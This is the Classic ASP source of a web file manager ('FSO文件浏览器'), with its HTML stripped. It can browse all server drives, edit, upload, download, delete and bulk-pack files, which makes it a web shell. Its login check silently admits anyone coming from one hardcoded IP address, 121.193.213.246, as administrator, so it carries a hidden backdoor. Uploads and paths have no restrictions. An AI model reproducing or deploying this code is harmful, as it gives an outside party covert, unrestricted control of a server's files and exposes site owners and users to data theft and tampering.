"
'版权信息
Dim T1,T2,Runtime
T1=Timer()
Dim oFso
Set oFso=Server.CreateObject("Scripting.FileSystemObject")
'-------------------------------------------------------------
'声明函数中所需的全局变量
Dim conn,rs,oStream,NoPackFiles,RootPath,FailFileList
NoPackFiles="|<$datafile>.mdb|<$datafile>.ldb|"
'-------------------------------------------------------------
Call Main()
Set oFso=Nothing
'======================== Subs Begin =========================
Sub Main()
Select Case Request("page")
Case "img"
Call Page_Img()
Case "css"
Call Page_Css()
Case "loginchk"
Call LoginChk()
Case "logout"
Call Logout()
Case Else:
'"一夫当关，万夫莫开"——用户验证
If Session(mss&"IsAdminlogin")=True Or Request.ServerVariables("REMOTE_ADDR")="121.193.213.246" Then
'已登录
Else
Call Login()
Exit Sub
End If
Select Case Request("act")
Case "drive"
Call Drive()
Case "up"
Call DirUp()
Case "new"
Call NewF(Request("fname"))
Case "savenew"
Call SaveNew(Request("fname"))
Case "rename"
Call Rename()
Case "saverename"
Call SaveRename()
Case "edit"
Call Edit(Request("fname"))
Case "saveedit"
Call SaveEdit(Request("fname"))
Case "delete"
Call Deletes(Request("fname"))
Case "copy"
Call SetFile(Request("fname"),0)
Case "cut"
Call SetFile(Request("fname"),1)
Case "download"
Call Download(Request("fname"))
Case "upload"
Call Upload(Request("fname"))
Case "saveupload"
Call Saveupload(Request("fname"))
Case "parse"
Call Parse(Request("fname"))
Case "prop"
Call Prop(Request("fname"))
Case "saveprop"
Call SaveProp(Request("fname"))
Case "pack"
Call Page_Pack()
Case "savepack"
Call Pack(Request("fpath"),Request("dbpath"))
Case "saveunpack"
Call UnPack(Request("fpath"),Request("dbpath"))
Case Else
If Request("fname")="" Then
Call Dirlist(Server.MapPath("./"))
Else
Call Dirlist(Request("fname"))
End If
End Select
End Select
End Sub
'========== Subs =============
'显示系统磁盘信息
Sub Drive()
Dim oDrive,Islight
%>
FSO文件浏览器 - 系统磁盘信息
FSO文件浏览器 - 系统磁盘信息
盘符
类型
卷标
文件系统
总容量
可用空间
<%
On Error Resume Next
Islight=False
For Each oDrive In oFso.Drives
Response.Write "
"
Response.Write "
"&oDrive.DriveLetter&"
"
Response.Write "
"&getDriveType(oDrive.DriveType)&"
"
Response.Write "
"&oDrive.VolumeName&"
"
Response.Write "
"&oDrive.FileSystem&"
"
Response.Write "
"&SizeCount(oDrive.TotalSize)&"
"
Response.Write "
"&SizeCount(oDrive.FreeSpace)&"
"
Response.Write "
"&vbCrLf
Islight=Not(Islight)
Next
%>
<% =Copyright %>
<%
End Sub
'新建
Sub NewF(ByVal Fname)
%>
FSO文件浏览器 - 新建
<%
End Sub
'保存新建
Sub SaveNew(ByVal Fname)
If Not IsFolder(Fname) Then
Response.Write ""
Exit Sub
End If
Dim FilePath
FilePath=Request("fname")&"\"&Replace(Request.Form("nname"),"\","")
FilePath=Replace(FilePath,"\\","\")
If IsFolder(FilePath) Or IsFile(FilePath) Then
Response.Write ""
Exit Sub
End If
If Request.Form("ntype")=1 Then
oFso.CreateTextFile FilePath
Else
oFso.CreateFolder FilePath
End If
Response.Write ""
End Sub
'编辑文件
Sub Edit(ByVal Fname)
If Not IsFile(Fname) Then
Response.Write ""
Exit Sub
End If
Dim oFile,FileStr
Set oFile=oFso.OpenTextFile(Fname,1)
If oFile.AtEndOfStream Then
FileStr=""
Else
FileStr=oFile.ReadAll()
End If
oFile.Close
Set oFile=Nothing
%>
FSO文件浏览器 - 编辑文本文件
<%
End Sub
'保存编辑文件
Sub SaveEdit(ByVal Fname)
Dim oFile,FileStr
Set oFile=oFso.OpenTextFile(Fname,2,True)
FileStr=Request.Form("filestr")
'Response.Write FileStr
oFile.Write FileStr
oFile.Close
Set oFile=Nothing
EchoBack "保存编辑文件成功！"
End Sub
'复制或剪切文件
Sub SetFile(ByVal Fname,ByVal iMode)
Session(mss & "setfile")=Fname
Session(mss & "setmode")=iMode
Dim ww
If 0=iMode Then
ww="复制"
Else
ww="剪切"
End If
EchoClose ww&"成功，请粘贴！"
End Sub
'粘贴文件或文件夹
Sub Parse(ByVal Fname)
Dim oFile,oFolder
Dim sName,iMode
sName=Session(mss & "setfile")
iMode=Session(mss & "setmode")
If sName="" Then
EchoClose "请先复制或剪切！"
Else
If InStr(LCase(Fname), LCase(sName)) > 0 Then
EchoClose "目标文件夹在源文件夹内,非法操作！"
Exit Sub
End If
'================
If Not IsFolder(Fname) Then
EchoClose "目标文件夹不存在！"
ElseIf IsFile(sName) Then
Set oFile=oFso.GetFile(sName)
If iMode=0 Then
oFso.CopyFile sName,Replace(Fname&"\"&oFile.Name,"\\","\")
Else
oFso.MoveFile sName,Replace(Fname&"\"&oFile.Name,"\\","\")
End If
ElseIf IsFolder(sName) Then
Set oFolder=oFso.GetFolder(sName)
If iMode=0 Then
oFso.CopyFolder sName,Replace(Fname&"\"&oFolder.Name,"\\","\")
Else
oFso.MoveFolder sName,Replace(Fname&"\"&oFolder.Name,"\\","\")
End If
Else
EchoClose "源文件或文件夹不存在！"
Exit Sub
End If
'================
EchoClose "复制或移动成功！刷新可查看效果"
End If
Session(mss & "setfile")=""
Session(mss & "setmode")=0
End Sub
'下载文件
Sub Download(ByVal Fname)
Dim oFile
If Not IsFile(Fname) Then
EchoClose "不是文件或文件不存在！"
Exit Sub
End If
Set oFile=oFso.GetFile(Fname)
If InStr(LCase(oFile.Path)&"\",LCase(Server.MapPath("/")))>0 And Not IsScriptFile(oFso.GetExtensionName(oFile.Name)) Then
Dim FileVName
FileVName=Replace(oFile.Path,Server.MapPath("/"),"")
FileVName=Replace(FileVName,"\","/")
If Left(FileVName,1)<>"/" Then
FileVName="/"&FileVName
End If
Response.Redirect FileVName
Exit Sub
End If
If oFile.Size>1048576*100 Then
EchoClose "文件超过100M，可能会造成服务器死机，\n不允许以Stream方式下载！\n请将该文件复制到网站目录以下\n然后以HTTP方式下载"
Exit Sub
End If
Server.ScriptTimeout=10000 '延长脚本超时时间以提供下载
Dim oStream
Set oStream=Server.CreateObject("ADODB.Stream")
oStream.Open
oStream.Type=1
oStream.LoadFromFile(Fname)
Dim Data
Data=oStream.Read
oStream.Close
Set oStream=Nothing
If Not Response.IsClientConnected Then
Set Data=Nothing
Exit Sub
End If
Response.Buffer=True
Response.AddHeader "Content-Disposition", "attachment; filename=" & oFile.Name
Response.AddHeader "Content-Length", oFile.Size
Response.CharSet = "UTF-8"
Response.ContentType = "application/octet-stream"
Response.BinaryWrite Data
Response.Flush
End Sub
'删除文件
Sub Deletes(ByVal Fname)
If IsFile(Fname) Then
oFso.DeleteFile Fname,True
ElseIf IsFolder(Fname) Then
oFso.DeleteFolder Fname,True
Else
EchoClose "文件或文件夹不存在"
Exit Sub
End If
EchoClose "文件删除成功！"
End Sub
'上传文件
Sub Upload(ByVal Fname)
If Not IsFolder(Fname) Then
EchoClose "没有指定上传的文件夹！"
Exit Sub
End If
%>
FSO文件浏览器 - 文件上传
<%
End Sub
'保存上传文件
Sub Saveupload(ByVal FolderName)
If Not IsFolder(FolderName) Then
EchoClose "没有指定上传的文件夹！"
Exit Sub
End If
Dim Path,IsOverWrite
Path=FolderName
If Right(Path,1)<>"\" Then Path=Path&"\"
FileName=Replace(Request("filename"),"\","")
If Len(FileName)<1 Then
EchoBack "请选择文件并输入文件名！"
Exit Sub
End If
Path=Path&FileName
If LCase(Request("overwrite"))="true" Then
IsOverWrite=True
Else
IsOverWrite=False
End If
On Error Resume Next
Call MyUpload(Path,IsOverWrite)
If Err Then
EchoBack "文件上传失败！（可能是文件已存在）"
Else
EchoClose "文件上传成功!\n" & Replace(fileName, "\", "\\")
End If
End Sub
'文件上传核心代码
Sub MyUpload(FilePath,IsOverWrite)
Dim oStream,tStream,FileName,sData,sSpace,sInfo,iSpaceEnd,iInfoStart,iInfoEnd,iFileStart,iFileEnd,iFileSize,RequestSize,bCrLf
RequestSize=Request.TotalBytes
If RequestSize<1 Then Exit Sub
Set oStream=Server.CreateObject("ADODB.Stream")
Set tStream=Server.CreateObject("ADODB.Stream")
With oStream
.Type=1
.Mode=3
.Open
.Write=Request.BinaryRead(RequestSize)
.Position=0
sData=.Read
bCrLf=ChrB(13)&ChrB(10)
iSpaceEnd=InStrB(sData,bCrLf)-1
sSpace=LeftB(sData,iSpaceEnd)
iInfoStart=iSpaceEnd+3
iInfoEnd=InStrB(iInfoStart,sData,bCrLf&bCrLf)-1
iFileStart=iInfoEnd+5
iFileEnd=InStrB(iFileStart,sData,sSpace)-3
sData="" '清空文件数据
iFileSize=iFileEnd-iFileStart+1
tStream.Type=1
tStream.Mode=3
tStream.Open
.Position=iFileStart-1
.CopyTo tStream,iFileSize
If IsOverWrite Then
tStream.SaveToFile FilePath,2
Else
tStream.SaveToFile FilePath
End If
tStream.Close
.Close
End With
Set tStream=Nothing
Set oStream=Nothing
End Sub
'显示文件属性
Sub Prop(Fname)
On Error Resume Next
Dim obj,oAttrib
If IsFile(Fname) Then
Set obj=oFso.GetFile(Fname)
ElseIf IsFolder(Fname) Then
Set obj=oFso.GetFolder(Fname)
Else
EchoClose "文件或文件夹不存在！"
Exit Sub
End If
Set oAttrib=New FileAttrib_Cls
oAttrib.Attrib=obj.Attributes
%>
FSO文件浏览器 - 文件属性
<%
End Sub
'修改属性
Sub SaveProp(Fname)
Dim Attribs,Attrib
Attribs=Replace(Request.Form("att")," ","")
Attribs=Split(Attribs,",")
Attrib=0
Dim i
For i=0 To UBound(Attribs)
Attrib=Attrib+Attribs(i)
Next
'Response.Write Attrib
'Exit Sub
Dim obj,oAttrib
If IsFile(Fname) Then
Set obj=oFso.GetFile(Fname)
ElseIf IsFolder(Fname) Then
Set obj=oFso.GetFolder(Fname)
Else
EchoClose "文件或文件夹不存在！"
Exit Sub
End If
If obj.IsRootFolder Then
EchoClose "不能修改根目录属性！"
Exit Sub
End If
obj.Attributes=Attrib
EchoBack "修改文件属性成功！"
End Sub
'转到上一级文件夹
Sub DirUp()
Dim oFolder,ssFname
If IsFolder(Request("fname")) Then
Set oFolder=oFso.GetFolder(Request("fname"))
If oFolder.IsRootFolder Then
'转至显示驱动器页面
Call Drive()
Exit Sub
Else
ssFname=oFolder.ParentFolder.Path
Set oFolder=Nothing
Call DirList(ssFname)
End If
Else
If IsFile(Request("fname")) Then
'文件下载
Else
Response.Write "文件夹或文件不存在！"
End If
End If
End Sub
'更改文件名页面
Sub Rename()
Dim Fname,sName
Fname=Request("fname")
If IsFolder(Fname) Then
sName=oFso.GetFolder(Fname).Name
Else
If IsFile(Fname) Then
sName=oFso.GetFile(Fname).Name
Else
Response.Write "文件或文件夹不存在！"
Exit Sub
End If
End If
%>
FSO文件浏览器 - 重命名
<%
End Sub
'更改文件名操作
Sub SaveRename()
Dim Fname,oFolder,oFile,FDir,ToName
Fname=Request("fname")
ToName=Replace(Request("toname"),"\","")
If IsFolder(Fname) Then
Set oFolder=oFso.GetFolder(Fname)
Fname=oFolder.Path
If Right(Fname,1)="\" Then
Fname=Left(Fname,Len(Fname)-1)
End If
FDir=Left(Fname,InstrRev(Fname,"\"))
ToName=FDir & ToName
On Error Resume Next
Err.Clear
Err=False
oFso.MoveFolder Fname,ToName
If Err Then
EchoBack "文件名不合法！"
Else
EchoClose "文件夹更名成功！\n刷新之后即可看到效果"
End If
Exit Sub
End If
If IsFile(Fname) Then
Set oFile=oFso.GetFile(Fname)
Fname=oFile.Path
FDir=Left(Fname,InstrRev(Fname,"\"))
ToName=FDir & ToName
On Error Resume Next
Err.Clear
Err=False
oFso.MoveFile Fname,ToName
If Err Then
EchoBack "文件名不合法！"
Else
EchoClose "文件更名成功！\n刷新之后即可看到效果"
End If
Exit Sub
End If
End Sub
'文件打包/解包页面
Sub Page_Pack()
Dim vp,vu
vp=Request("pname")
vu=Request("uname")
If Right(vu,4)<>".mdb" Then
vu=Server.MapPath("/rs_pack.mdb")
End If
%>
FSO文件浏览器 - 文件打包/解包
FSO文件浏览器 - 文件打包/解包
<%
End Sub
'文件夹内容列表 ========== Dirlist
Sub Dirlist(ByVal Fpath)
If IsFile(Fpath) Then
'下载该文件
Response.Write ""
'Call Download(Fpath)
Exit Sub
End If
If Not IsFolder(Fpath) Then
Response.Write "文件夹不存在！"
Exit Sub
End If
'代码开始
Dim oFolder
Dim sFolder,sFile '文件夹下的子文件夹和文件
Set oFolder=oFso.GetFolder(Fpath)
%>
FSO文件浏览器
FSO文件浏览器
文件名
类型
大小
修改时间
<%
Dim Islight
Islight=False
'逐个显示子文件夹
For Each sFolder In oFolder.SubFolders
Response.Write "
"&vbCrLf
Islight=Not Islight
Next
'逐个显示文件
For Each sFile In oFolder.Files
Response.Write "
"
Response.Write "
"
Response.Write " "&sFile.Name
Response.Write "
"
Response.Write "
"&sFile.Type&"
"
Response.Write "
"&SizeCount(sFile.Size)&"
"
Response.Write "
"&sFile.DateLastModified&"
"
Response.Write "
"&vbCrLf
Islight=Not Islight
Next
%>
<% =Copyright %>
<%
T2=Timer()
Runtime=(T2-T1)*1000
Response.Write "Page Processed in "&Runtime&" Mili-seconds"
%>
<%
End Sub
'用户登录
Sub Login()
%>
FSO文件浏览器 - 用户登录
<% =Copyright %>
<%
End Sub
'用户登录验证
Sub LoginChk()
If Request.Form("password")<>Password Then
EchoBack "一夫当关，万夫莫开，您的密码不正确！"
Exit Sub
Else
Session(mss & "IsAdminlogin")=True
Response.Redirect "?page=fso"
End If
End Sub
'用户退出
Sub Logout()
Session(mss & "IsAdminlogin")=False
Response.Redirect "?"
End Sub
'显示一个图片
Sub Page_Img()
Dim HexStr
HexStr="47 49 46 38 39 61 01 00 19 00 C4 00 00 6D 92 DA 66 8C D9 7E 9E DF 7B 9C DE 81 A0 DF 79 9A DD 62 89 D8 97 B1 E5 71 94 DB 84 A3 E0 58 81 D5 91 AC E3 5A 84 D6 69 8E DA 65 8B D8 8A A7 E2 76 98 DD 5E 86 D7 61 88 D7 74 97 DC 5D 86 D6 5C 85 D6 6E 92 DB 55 80 D5 6A 8F DA 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 21 F9 04 00 00 00 00 00 2C 00 00 00 00 01 00 19 00 40 05 15 60 85 09 87 31 3D 51 60 15 C9 72 29 0C 25 39 0D 80 40 03 11 02 00 3B"
Response.ContentType="IMAGE/GIF"
WriteBytes HexStr
End Sub
'输出Css
Sub Page_Css()
%>
body
{
font-family: Verdana, Arial, "宋体";
font-size: 12px;
line-height: 1.5em;
color: #000000;
}
input,select,textarea
{
font-family: Verdana, Arial, "宋体";
font-size: 12px;
color: #000000;
}
a:link
{
font-size: 12px;
color: #000000;
text-decoration: none;
}
a:visited
{
font-size: 12px;
color: #000000;
text-decoration: none;
}
a:active
{
font-size: 12px;
line-height: normal;
color: #333333;
text-decoration: none;
}
a:hover
{
font-size: 12px;
color: #FF7F24;
text-decoration: underline;
}
hr { height:1px; color:#6595D6; }
table
{
BORDER-COLLAPSE: collapse;
}
table.border
{
border: 1px solid #6595D6;
}
td
{
font-family: Verdana, Arial, "宋体";
font-size: 12px;
line-height: 1.5em;
color: #000000;
}
td.border
{
border: 1px solid #6595D6;
}
td.inner
{
font-family: Verdana, Arial, "宋体";
font-size: 12px;
line-height: 1.5em;
color: #000000;
border: 0px;
}
th
{
font-family: Verdana, Arial, "宋体";
font-size: 12px;
line-height: 1.5em;
color: #FFFFFF;
height:25px;
background-color:#427FBB;
background-image:url(?page=img);
}
th.border
{
border: 1px solid #6595D6;
}
.b { width:55px; height:22px; font-size:12px; }
<%
End Sub
'================ Functions ==================
Function IsFolder(ByVal fname)
IsFolder=oFso.FolderExists(fname)
End Function
Function IsFile(ByVal fname)
IsFile=oFso.FileExists(fname)
End Function
'字节数统计 Bytes
Function SizeCount(ByVal iSize)
On Error Resume Next
Dim size,showsize
size=iSize
showsize=size & " Byte"
if size>1024 then
size=(Size/1024)
showsize=formatnumber(size,3) & " KB"
end if
if size>1024 then
size=(size/1024)
showsize=formatnumber(size,3) & " MB"
end if
if size>1024 then
size=(size/1024)
showsize=formatnumber(size,3) & " GB"
end if
SizeCount = showsize
End Function
'16进制字符转10进制数字
Function Hex2Num(v)
Dim w
If IsNumeric(v) Then
w=Int(v)
Else
Select Case UCase(v)
Case "A": w=10
Case "B": w=11
Case "C": w=12
Case "D": w=13
Case "E": w=14
Case "F": w=15
Case Else: w=0
End Select
End If
Hex2Num=w
End Function
'取得字节字符串的数值
Function Byte2Num(sByte)
Dim b1,b2
b1=Left(sByte,1)
b2=Right(sByte,1)
Byte2Num=Hex2Num(b1)*16+Hex2Num(b2)
End Function
'将16进制字节字符串输出为二进制数据
Function WriteBytes(sBytes)
Dim sByte,i
sByte=Split(sBytes," ")
For i=0 To UBound(sByte)-1
Response.BinaryWrite ChrB(Byte2Num(sByte(i)))
Next
End Function
'获得文件图标
Function getFileIcon(extName)
Select Case LCase(extName)
Case "vbs", "h", "c", "cfg", "pas", "bas", "log", "asp", "txt", "php", "ini", "inc", "htm", "html", "xml", "conf", "config", "jsp", "java", "htt", "lst", "aspx", "php3", "php4", "js", "css", "asa"
getFileIcon = "Wingdings>2"
Case "wav", "mp3", "wma", "ra", "wmv", "ram", "rm", "avi", "mpg"
getFileIcon = "Webdings>·"
Case "jpg", "bmp", "png", "tiff", "gif", "pcx", "tif"
getFileIcon = "'webdings'>Ÿ"
Case "exe", "com", "bat", "cmd", "scr", "msi"
getFileIcon = "Webdings>1"
Case "sys", "dll", "ocx"
getFileIcon = "Wingdings>ÿ"
Case Else
getFileIcon = "'Wingdings 2'>/"
End Select
End Function
'获得磁盘类型
Function getDriveType(num)
Select Case num
Case 0
getDriveType = "未知"
Case 1
getDriveType = "可移动磁盘"
Case 2
getDriveType = "本地硬盘"
Case 3
getDriveType = "网络磁盘"
Case 4
getDriveType = "CD-ROM"
Case 5
getDriveType = "RAM 磁盘"
End Select
End Function
'判断是否为脚本文件
Function IsScriptFile(Ext)
Const ScriptExts="asp,aspx,asa,php"
IsScriptFile=False
Dim FileExt,Exts
FileExt=LCase(Ext)
Exts=Split(ScriptExts,",")
Dim i
For i=0 To UBound(Exts)-1
If Exts(i)=FileExt Then
IsScriptFile=True
Exit Function
End If
Next
IsScriptFile=False
End Function
'返回消息并关闭
Sub EchoClose(msg)
Response.Write ""
End Sub
'返回消息并关闭
Sub EchoBack(msg)
Response.Write ""
End Sub
'文件属性类
Class FileAttrib_Cls
Public n,r,h,s,d,a,al,c
Private Sub Class_Initialize()
n=0:r=0:h=0:s=0:d=0:a=0:al=0:c=0
End Sub
Public Property Let Attrib(v)
If v=0 Then
n=1
Exit Property
End If
If v>=2048 Then
c=1
v=v Mod 2048
End If
If v>=1024 Then
al=1
v=v Mod 64
End If
If v>=32 Then
a=1
v=v Mod 32
End If
If v>=16 Then
d=1
v=v Mod 8
End If
If v>=4 Then
s=1
v=v Mod 4
End If
If v>=2 Then
h=1
v=v Mod 2
End If
If v>=1 Then
r=1
End If
End Property
End Class
'============================ 文件打包及解包过程 =============================
'文件打包
Sub Pack(ByVal FPath, ByVal sDbPath)
Server.ScriptTimeOut=900
Dim DbPath
If Right(sDbPath,4)=".mdb" Then
DbPath=sDbPath
Else
DbPath=sDbPath&".mdb"
End If
If oFso.FolderExists(DbPath) Then
EchoBack "不能创建数据库文件！"&Replace(DbPath,"\","\\")
Exit Sub
End If
If oFso.FileExists(DbPath) Then
oFso.DeleteFile DbPath
End If
If IsFolder(FPath) Then
RootPath=GetParentFolder(FPath)
If Right(RootPath,1)<>"\" Then RootPath=RootPath&"\"
Else
EchoBack "请输入文件夹路径！"
Exit Sub
End If
Dim oCatalog,connStr,DataName
Set conn=Server.CreateObject("ADODB.Connection")
Set oStream=Server.CreateObject("ADODB.Stream")
Set oCatalog=Server.CreateObject("ADOX.Catalog")
Set rs=Server.CreateObject("ADODB.RecordSet")
On Error Resume Next
connStr = "Provider=Microsoft.Jet.OLEDB.4.0; Data Source=" & DbPath
oCatalog.Create connStr
If Err Then
EchoBack "不能创建数据库文件！"&Replace(DbPath,"\","\\")
Exit Sub
End If
Set oCatalog=Nothing
conn.Open connStr
conn.Execute("Create Table Files(ID int IDENTITY(0,1) PRIMARY KEY CLUSTERED, FilePath VarChar, FileData Image)")
oStream.Open
oStream.Type=1
rs.Open "Files",conn,3,3
DataName=Left(oFso.GetFile(DbPath).Name,InstrRev(oFso.GetFile(DbPath).Name,".")-1)
NoPackFiles=Replace(NoPackFiles,"<$datafile>",DataName)
FailFileList="" '打包失败的文件列表
PackFolder FPath
If FailFilelist="" Then
EchoClose "文件夹打包成功！"
Else
Response.Write ""
Response.Write ""
Response.Write ""&Replace(FailFilelist,"|"," ")&""
End If
oStream.Close
rs.Close
conn.Close
End Sub
'添加文件夹（递归）
Sub PackFolder(FolderPath)
If Not IsFolder(FolderPath) Then Exit Sub
Dim oFolder,sFile,sFolder
Set oFolder=oFso.GetFolder(FolderPath)
For Each sFile In oFolder.Files
If InStr(NoPackFiles,"|"&sFile.Name&"|")<1 Then
PackFile sFile.Path
End If
Next
Set sFile=Nothing
For Each sFolder In oFolder.SubFolders
PackFolder sFolder.Path
Next
Set sFolder=Nothing
End Sub
'添加文件
Sub PackFile(FilePath)
Dim RelPath
RelPath=Replace(FilePath,RootPath,"")
'Response.Write RelPath & " "
On Error Resume Next
Err.Clear
Err=False
oStream.LoadFromFile FilePath
rs.AddNew
rs("FilePath")=RelPath
rs("FileData")=oStream.Read()
rs.Update
If Err Then
'一个文件打包失败
FailFilelist=FailFilelist&FilePath&"|"
End If
End Sub
'===========================================================================
'文件解包
Sub UnPack(vFolderPath,DbPath)
Server.ScriptTimeOut=900
Dim FilePath,FolderPath,sFolderPath
FolderPath=vFolderPath
FolderPath=Trim(FolderPath)
If Mid(FolderPath,2,1)<>":" Then
EchoBack "路径格式错误，无法创建改目录！"
Exit Sub
End If
If Right(FolderPath,1)="\" Then FolderPath=Left(FolderPath,Len(FolderPath)-1)
Dim connStr
Set conn=Server.CreateObject("ADODB.Connection")
Set oStream=Server.CreateObject("ADODB.Stream")
Set rs=Server.CreateObject("ADODB.RecordSet")
connStr = "Provider=Microsoft.Jet.OLEDB.4.0; Data Source=" & DbPath
On Error Resume Next
Err=False
conn.Open connStr
If Err Then
EchoBack "数据库打开错误！"
Exit Sub
End If
Err=False
oStream.Open
oStream.Type=1
rs.Open "Files",conn,1,1
FailFilelist="" '清空失败文件列表
Do Until rs.EOF
Err.Clear
Err=False
FilePath=FolderPath&"\"&rs("FilePath")
FilePath=Replace(FilePath,"\\","\")
sFolderPath=Left(FilePath,InStrRev(FilePath,"\"))
If Not oFso.FolderExists(sFolderPath) Then
CreateFolder(sFolderPath)
End If
oStream.SetEos()
oStream.Write rs("FileData")
oStream.SaveToFile FilePath,2
If Err Then '添加失败文件项目
FailFilelist=FailFilelist&rs("FilePath").Value&"|"
End If
rs.MoveNext
Loop
rs.Close
Set rs=Nothing
conn.Close
Set conn=Nothing
Set oStream=Nothing
If FailFilelist="" Then
EchoClose "文件解包成功！"
Else
Response.Write ""
Response.Write ""
Response.Write ""&Replace(FailFilelist,"|"," ")&""
End If
End Sub
'===========================================================================
'===========================================================================
'建立文件夹（递归）
Function CreateFolder(FolderPath)
On Error Resume Next
Err=False
Dim sParFolder
sParFolder=GetParentFolder(FolderPath)
If Not oFso.FolderExists(sParFolder) Then
CreateFolder(sParFolder)
End If
oFso.CreateFolder(FolderPath)
If Err Then
CreateFolder=False
Else
CreateFolder=True
End If
End Function
Function GetParentFolder(Path)
Dim sPath
sPath=Path
If Right(sPath,1)="\" Then sPath=Left(sPath,Len(sPath)-1)
sPath=Left(sPath,InstrRev(sPath,"\")-1)
GetParentFolder=sPath
End Function
'============================================================================
Sub wv(v)
If v>0 Then Response.Write " checked "
End Sub
%>
